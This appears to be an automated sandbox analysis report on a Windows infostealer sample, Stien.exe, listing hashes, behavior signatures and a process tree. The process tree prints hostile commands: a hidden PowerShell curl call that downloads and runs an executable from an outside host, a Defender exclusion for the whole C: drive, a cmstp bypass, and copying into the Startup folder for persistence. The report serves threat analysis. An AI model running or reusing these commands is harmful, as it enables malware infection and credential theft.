Analysis
- max time kernel
144s - max time network
127s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
22/05/2024, 04:35
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
Stien.exe
Resource
win7-20240221-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
Stien.exe
Resource
win10v2004-20240508-en
19 signatures
150 seconds
General
- Target Stien.exe
- Size 48KB
- Sample240522-e7nw6acb69
- SHA256 ce8f36cb260a5e3d03fab13624208d531551b5dc82e2097b9dd38707c32852de
- MD5 bda9523d7221942e46def67ed473e33e
- SHA1 ce837c7ac128e361217316041891da0872b87290
- SHA512 5e8f0e619d8dfc664a8e833243cda8b4cc638a324590e5f26c3d991cca5b674fe9677449163fcb78dea8b8c27c60e37651e63ec6cfac475e2ca404ca1cef6388
- SSDEEP 768:+GJzSq8Maq5s9OIyziuT/2dcWhzzkOFbQBU669RhQM+8M+FG:+RqfKOtiuTuRbQALK
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
-
pid Process 380 Powershell.exe 2324 Powershell.exe 1144 powershell.exe 2280 powershell.exe 1144 powershell.exe 3104 powershell.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation Stien.exe - Drops startup file 4 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe Powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe Powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe Powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe Powershell.exe - Executes dropped EXE 6 IoCs
pid Process 3500 Xwemz.exe 4348 Xpjvcl.exe 3976 Xpjvcl.exe 4964 Xpjvcl.exe 2068 hfumrmg.exe 1140 hfumrmg.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key opened \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe Key created \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 4348 set thread context of 4964 4348 Xpjvcl.exe 117 PID 2068 set thread context of 1140 2068 hfumrmg.exe 121 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Kills process with taskkill 1 IoCs
pid Process 2256 taskkill.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1140 hfumrmg.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 2280 powershell.exe 1144 powershell.exe 1144 powershell.exe 3104 powershell.exe 3104 powershell.exe 3500 Xwemz.exe 3500 Xwemz.exe 3500 Xwemz.exe 3500 Xwemz.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe 380 Powershell.exe 380 Powershell.exe 4348 Xpjvcl.exe 4348 Xpjvcl.exe - Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeDebugPrivilege 3160 Stien.exe Token: SeDebugPrivilege 2280 powershell.exe Token: SeDebugPrivilege 1144 powershell.exe Token: SeDebugPrivilege 2256 taskkill.exe Token: SeDebugPrivilege 3104 powershell.exe Token: SeDebugPrivilege 3500 Xwemz.exe Token: SeDebugPrivilege 4348 Xpjvcl.exe Token: SeDebugPrivilege 380 Powershell.exe Token: SeDebugPrivilege 4964 Xpjvcl.exe Token: SeDebugPrivilege 2068 hfumrmg.exe Token: SeDebugPrivilege 2324 Powershell.exe Token: SeDebugPrivilege 1140 hfumrmg.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2280 powershell.exe 2280 powershell.exe - Suspicious use of WriteProcessMemory 54 IoCs
description pid Process procid_target PID 3160 wrote to memory of 2280 3160 Stien.exe 84 PID 3160 wrote to memory of 2280 3160 Stien.exe 84 PID 3160 wrote to memory of 2280 3160 Stien.exe 84 PID 2280 wrote to memory of 368 2280 powershell.exe 90 PID 2280 wrote to memory of 368 2280 powershell.exe 90 PID 2280 wrote to memory of 368 2280 powershell.exe 90 PID 2280 wrote to memory of 1592 2280 powershell.exe 93 PID 2280 wrote to memory of 1592 2280 powershell.exe 93 PID 2280 wrote to memory of 1592 2280 powershell.exe 93 PID 1592 wrote to memory of 3096 1592 csc.exe 95 PID 1592 wrote to memory of 3096 1592 csc.exe 95 PID 1592 wrote to memory of 3096 1592 csc.exe 95 PID 1916 wrote to memory of 1144 1916 DllHost.exe 96 PID 1916 wrote to memory of 1144 1916 DllHost.exe 96 PID 1916 wrote to memory of 1144 1916 DllHost.exe 96 PID 1916 wrote to memory of 2256 1916 DllHost.exe 100 PID 1916 wrote to memory of 2256 1916 DllHost.exe 100 PID 1916 wrote to memory of 2256 1916 DllHost.exe 100 PID 3160 wrote to memory of 3104 3160 Stien.exe 106 PID 3160 wrote to memory of 3104 3160 Stien.exe 106 PID 3160 wrote to memory of 3104 3160 Stien.exe 106 PID 3104 wrote to memory of 5064 3104 powershell.exe 108 PID 3104 wrote to memory of 5064 3104 powershell.exe 108 PID 3104 wrote to memory of 5064 3104 powershell.exe 108 PID 3104 wrote to memory of 3500 3104 powershell.exe 109 PID 3104 wrote to memory of 3500 3104 powershell.exe 109 PID 3500 wrote to memory of 4348 3500 Xwemz.exe 113 PID 3500 wrote to memory of 4348 3500 Xwemz.exe 113 PID 3500 wrote to memory of 4348 3500 Xwemz.exe 113 PID 4348 wrote to memory of 380 4348 Xpjvcl.exe 114 PID 4348 wrote to memory of 380 4348 Xpjvcl.exe 114 PID 4348 wrote to memory of 380 4348 Xpjvcl.exe 114 PID 4348 wrote to memory of 3976 4348 Xpjvcl.exe 116 PID 4348 wrote to memory of 3976 4348 Xpjvcl.exe 116 PID 4348 wrote to memory of 3976 4348 Xpjvcl.exe 116 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 4348 wrote to memory of 4964 4348 Xpjvcl.exe 117 PID 2068 wrote to memory of 2324 2068 hfumrmg.exe 119 PID 2068 wrote to memory of 2324 2068 hfumrmg.exe 119 PID 2068 wrote to memory of 2324 2068 hfumrmg.exe 119 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 PID 2068 wrote to memory of 1140 2068 hfumrmg.exe 121 - outlook_office_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe - outlook_win_path 1 IoCs
description ioc Process Key queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Xwemz.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\Stien.exe"C:\Users\Admin\AppData\Local\Temp\Stien.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -f C:\Users\Public\D.ps12⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\SysWOW64\cmstp.exe"cmstp.exe" C:\Users\Public\user.inf /au3⤵PID:368
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp" "c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP"4⤵PID:3096
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -c curl.exe 'http://voucher-01-static.com/rkei/Xwemz.exe' -o ('C:\Users\Public\Xwemz.exe');start ('C:\Users\Public\Xwemz.exe')2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3104 -
C:\Windows\SysWOW64\curl.exe"C:\Windows\system32\curl.exe" http://voucher-01-static.com/rkei/Xwemz.exe -o C:\Users\Public\Xwemz.exe3⤵PID:5064
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C:\Users\Public\Xwemz.exe"C:\Users\Public\Xwemz.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:3500 -
C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4348 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:380
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C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"5⤵
- Executes dropped EXE
PID:3976
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C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4964
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C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}1⤵
- Suspicious use of WriteProcessMemory
PID:1916 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144
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C:\Windows\SysWOW64\taskkill.exetaskkill /IM cmstp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2256
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C:\Users\Admin\AppData\Local\Temp\hfumrmg.exeC:\Users\Admin\AppData\Local\Temp\hfumrmg.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious use of AdjustPrivilegeToken
PID:2324
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C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe"C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
PID:1140
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Xpjvcl.exe.log
- Size 1KB
- SHA256 27fd9ebf0884562dedf4289f7b19b3c479b83fae4438f37bc76994ce79d14555
- MD5 1b9a6ab9c65f5dbebe86628f9e204a59
- SHA1 f951357f15738b132682e84081602e68c49c676e
- SHA512 24d7e6280d3eca65e4eb001773fb44d48b77778ff64af36a263f80960be189b3bc6675c109630a315619c5e80e00889bb15a548a1fa1c769505337eacc5bcad2
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hfumrmg.exe.log
- Size 1KB
- SHA256 bd9d5e9f7fe6fcff17d873555d4077d15f7d6cdda1183e7f7d278b735ffe1fd7
- MD5 e08f822522c617a40840c62e4b0fb45e
- SHA1 ae516dca4da5234be6676d3f234c19ec55725be7
- SHA512 894a7fb7bbc18ac6ba13378f58a7db80ad00d6080be9a66b01cae8e23e41d9d2d4cd53c1e20669356b73590c8a3ebfda4bdda3258f81240db56c4a81b7313fe4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 1e1429600d42a8909fd2384b5ad2ddf6b8c0c2d13c6a6ef39f016b9d6da8cb4f
- MD5 0f8e677518ab6a4ddd7bcfe446b29ea7
- SHA1 217b862eeab0fcf00e264f7285f5a16dd67be614
- SHA512 bd9889d31307d560465b04d7197e86ad9200feceae59632fa79ad9a5467fa8cca91eab0a2ecc5a479672ea0f5111ba517feccecf638f5bf9c867d1e0b8b7c6b4
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 18KB
- SHA256 1039291c95a2a1b06c4e8609672f39150dd5971f90811aa31fc4abdcd2fe7e89
- MD5 5b8f93bf1a6d3b55a0e66bbaa525091b
- SHA1 6aef683380080f2174babaf9ff232b972e24977b
- SHA512 47c808b7af02b89501c5b2d3d865396a67e34d4d45e6caa9f59455eb46227e77726c72c58cd0d94fadc8083112df3085c0f1747048bc098fb17d402d7f69e6e3
- SSDEEP 384:X6+Bhp+e5mGq72pxNXkyto9o5ATsYY1cN7/+uApl3SopDhAiHhonbeL+nyN+kKl:K4i2x0jo5ATzx96pBShiBoryw/
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 e24b54c3cf5fb2ce80ba65c62f705bfabb04fb64314497ec28d9f1b7a61c4334
- MD5 28cd85106cf59e4dd20558b32c4151f7
- SHA1 8059a70a37d1a40952647096207fc493455eb4cd
- SHA512 df308ec6e9b5ec4f82bf3572bd0d088eaf7147d5e940c9f08ea157bc9c52deebaed76c014c364b9661e5186b1701bbc4544b6c3887392fe22c008e80d9d5e334
- SSDEEP 384:Frf+2WQk1b/ZgLNRTdzJk+o9o2TA6seY1d2pu46iflwazIoCtW:tfKHb/oZejo2TvoFifmazIoCY
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 15KB
- SHA256 2aa6fd9a8faeca7cb2a854e3008af806e459e8a523e91a015fc268993a67046e
- MD5 65d58abd73618352222d0e5d5ebf7e50
- SHA1 313fc7bdc9f2dbf8ef642a3fcce9524d95c48cd4
- SHA512 1250d41aba9ec8f2585d699e21605930ebba6f2b7462dced13223959298e9267f25f50f518f3385848c9bf5a12bcd064fcf66077db9cb6166a1912edfbefe7c3
- SSDEEP 384:+rf+eW391w00QgYfqNF8NYvLGZcifE6h58dAz3WpO1:sfSrLgY6F8NoVifxh58dAzX
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 20KB
- SHA256 36d12c8d46e987b3e524e4121e360484ea893777697f1403710af0007a4d0f53
- MD5 2210bf2436088031f3e6075a03cca18e
- SHA1 97a403918fa2c6bccf1269e9e738413db2df54af
- SHA512 fb7f1e2d5090bb3a8319c1125c1244956f60d064412b0457a425890efb51f001f1ab1099ec1708e62c97c6a0dd5495499859a83b043fe3740e2442ade2414e0b
- SSDEEP 384:ab+erGzg9p+tuKamwK8vBizMkOrUTo/6seYeuzq9/OEYzmXe/Qp3lHrSlCnByU02:G3GFuKaFvo7OrUToAA29GZmzrLaNRho
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Egwfmpctg.tmpdb
- Size 124KB
- SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
- MD5 9618e15b04a4ddb39ed6c496575f6f95
- SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
- SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26
- SSDEEP 96:hBWU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:hBl+bDo3irhnyTpvVj3XBBE3u
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp
- Size 1KB
- SHA256 33158ce0110e9a295f71c0ab4f5709d4a0c950774a3b29fe444b3a8ea8c36680
- MD5 45c225bb7ecbf2353c8ce1bd77611890
- SHA1 82a904630e1439fd89599cf3623399b456214c69
- SHA512 a7748fa234e67ad7ae452b7128153801cde45fb67396a38abaea6a30c81251bc71b22c956605fcff0009f1c425ee5c1e8e9d37c8384c61b291d15e71b2727bbd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
- Size 96KB
- SHA256 92931a8f91d661cce0204783604ef536a4134376a9ed2e461720c7b93a129746
- MD5 4104370a4f4d897292560d55666cdb10
- SHA1 55a3a0e1d5e84549c284b357cdf26c348b12ae60
- SHA512 688f0d602e9ad7eda500e52d16340e9bba3416896f929d655eb1079ff012f33708fb8ac9c6daa70334ac96fdfa09e37fa8d175a51d986dbafc636499f9881ea5
- SSDEEP 768:+KtyaQfp65neGcCZE5FdkzpfM6ZHWaddlR2:xZNMGcCZEDdQn2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Zncckudy.tmpdb
- Size 152KB
- SHA256 aab0b201f392fef9fdff09e56a9d0ac33d0f68be95da270e6dab89bb1f971d8b
- MD5 73bd1e15afb04648c24593e8ba13e983
- SHA1 4dd85ca46fcdf9d93f6b324f8bb0b5bb512a1b91
- SHA512 6eb58fb41691894045569085bd64a83acd62277575ab002cf73d729bda4b6d43c36643a5fa336342e87a493326337ed43b8e5eaeae32f53210714699cb8dfac7
